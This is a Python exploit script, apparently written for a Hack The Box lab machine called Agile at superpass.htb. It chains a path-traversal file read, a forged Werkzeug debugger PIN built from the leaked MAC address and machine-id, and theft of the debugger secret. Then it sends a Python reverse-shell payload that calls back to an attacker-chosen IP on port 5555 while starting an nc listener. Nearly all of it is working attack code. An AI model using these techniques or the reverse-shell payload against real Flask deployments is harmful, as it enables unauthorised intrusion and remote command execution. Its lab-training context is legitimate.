HTB_Agile.py

import hashlib
from itertools import chain
import requests
import random
import re
import sys
import curses
import subprocess
from time import sleep
import threading

cookie = 'session='
addres = ''
pin = ''
secret = ''
frame = ''

def register():
    print('[!] Registering account.')
    url = 'http://superpass.htb/account/register'    
    count = 0
    session = requests.Session()
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Referer': 'http://superpass.htb/account/register',
        'Origin': 'http://superpass.htb',
        'Host': 'superpass.htb'
    }

    while True:
        user = random.randint(1000, 10000)
        data = 'username=test{}&password=test'.format(user)
        sleep(1)
        response = session.post( url=url, data=data, headers=headers, allow_redirects=False )
        count += 1
        if (count >= 10):
            print('[-] Impossible to register on the site', url)
            print('[!] Exiting.')
            sys.exit()
        if (response.status_code == 302):
            global cookie
            cookie += session.cookies.get_dict()['session']
            print('[!] Account registered as user:pass "test{}":"test"'.format(user))
            break

def getadress():
    url = 'http://superpass.htb/download?fn=../sys/class/net/eth0/address'   
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Referer': 'http://superpass.htb/download',
        'Origin': 'http://superpass.htb',
        'Host': 'superpass.htb',
        'Cookie': cookie
    }
    
    while True:
        sleep(1)
        response = requests.get(url=url, headers=headers)
        if response.status_code == 200:
            mac_int = int(response.text.replace(':', ''), 16)
            global addres
            addres = str(mac_int)
            print('[!] LFI exploited to get /sys/class/net/eth0/address.')    
            print('[!] MAC =', addres)        
            break
    

def getpin():
    print('[!] Getting PIN.')
    probably_public_bits = [
        'www-data',# username
        'flask.app',# modname
        'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]

    global addres
    private_bits = [
        addres, # str(uuid.getnode()),  /sys/class/net/eth0/address 
        # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
        'ed5b159560f54721827644bc9b220d00' + 'superpass.service'
    ]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    num = None
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    print('[!] PIN =', rv)
    global pin
    pin = str(rv)

def getsecret():
    print('[!] Getting secret to authenticate in Console')
    url = 'http://superpass.htb/download?fn='
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
        'Accept': '*/*',
        'Referer': 'http://superpass.htb/download',
        'Host': 'superpass.htb',
        'Cookie': cookie
    }

    while True:
        sleep(1)
        response = requests.get(url=url, headers=headers)    
        if response.status_code == 500:
            strings = re.findall('SECRET = "(.*)";', response.text)
            if len(strings) > 0:
                global secret
                secret = strings[0]
                print('[!] Got SECRET = ', secret)
            strings = re.findall('class="frame" id="frame-(.*)">', response.text)
            if len(strings) > 0:
                global frame
                frame = strings[0]
                print('[!] Got FRAME = ', frame)
            break

def sendpin():
    global cookie
    print('[!] Using PIN to authenticate in Console.')
    url = 'http://superpass.htb/download?__debugger__=yes&cmd=pinauth&pin={pin}&s={secret}'.format(pin=pin, secret=secret)   
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
        'Accept': '*/*',
        'Referer': 'http://superpass.htb/download',
        'Host': 'superpass.htb',
        'Cookie': cookie
    }
    session = requests.Session()

    while True:
        sleep(1)
        response = session.get(url=url, headers=headers)
        if response.status_code == 200:
            try:              
                received = session.cookies.get_dict()
                for key in received.keys():
                    if '__w' in key:
                        wcookie = received[key]
                        print('[!] Werkzeug cookie found:{key}={val}'.format(key=key, val=wcookie))
                        cookie += ';{key}={val}'.format(key=key, val=wcookie)
                        break
                break
            except:
                print('[-] Something went wrong.')
                print('Exiting.')
                sys.exit()
            break

def get_ip_addresses():
    output = subprocess.check_output(['ifconfig']).decode()
    ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
    ip_addresses = re.findall(ip_pattern, output)
    ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')]
    ip_addresses = list(set(ip_addresses))
    ip_addresses.insert(0, 'localhost')
    return ip_addresses

def choose_ip_address(stdscr, ip_addresses):
    curses.curs_set(0)
    curses.noecho()
    stdscr.keypad(True)
    current_row = 0
    num_rows = len(ip_addresses)
    stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
    while True:
        stdscr.clear()
        stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
        for i, ip_address in enumerate(ip_addresses):
            if i == current_row:
                stdscr.addstr(ip_address, curses.A_REVERSE)
            else:
                stdscr.addstr(ip_address)
            stdscr.addstr("\n")
        key = stdscr.getch()
        if key == curses.KEY_UP and current_row > 0:
            current_row -= 1
        elif key == curses.KEY_DOWN and current_row < num_rows - 1:
            current_row += 1
        elif key == curses.KEY_ENTER or key in [10, 13]:
            return ip_addresses[current_row]
        
def nc(null):
    print('[!] Opening nc -nlvp 5555.')
    subprocess.Popen(['nc', '-nlvp', '5555'])

def sendpayload():
    ip_addresses = get_ip_addresses()
    sip = curses.wrapper(choose_ip_address, ip_addresses)
    print(f'\033[94m[inf]:\033[0m selected ip address: {sip}')

    payload = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",5555));os.dup2(s.fileno(),0);\
          os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'.format(ip=sip)
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0',
        'Accept': '*/*',
        'Referer': 'http://superpass.htb/download',
        'Host': 'superpass.htb',
        'Cookie': cookie
    }
    url = 'http://superpass.htb/download?&__debugger__=yes&cmd={payload}&frm={frame}&s={secret}'.format(payload=payload, frame=frame, secret=secret)  
    
    nc_thread = threading.Thread(target=nc, args=('',))
    nc_thread.start()
    sleep(1)
    print('[!] Sending Payload.')
    requests.get(url=url, headers=headers)
    nc_thread.join()
    

register()
getadress()
getpin()
getsecret()
sendpin()
sendpayload()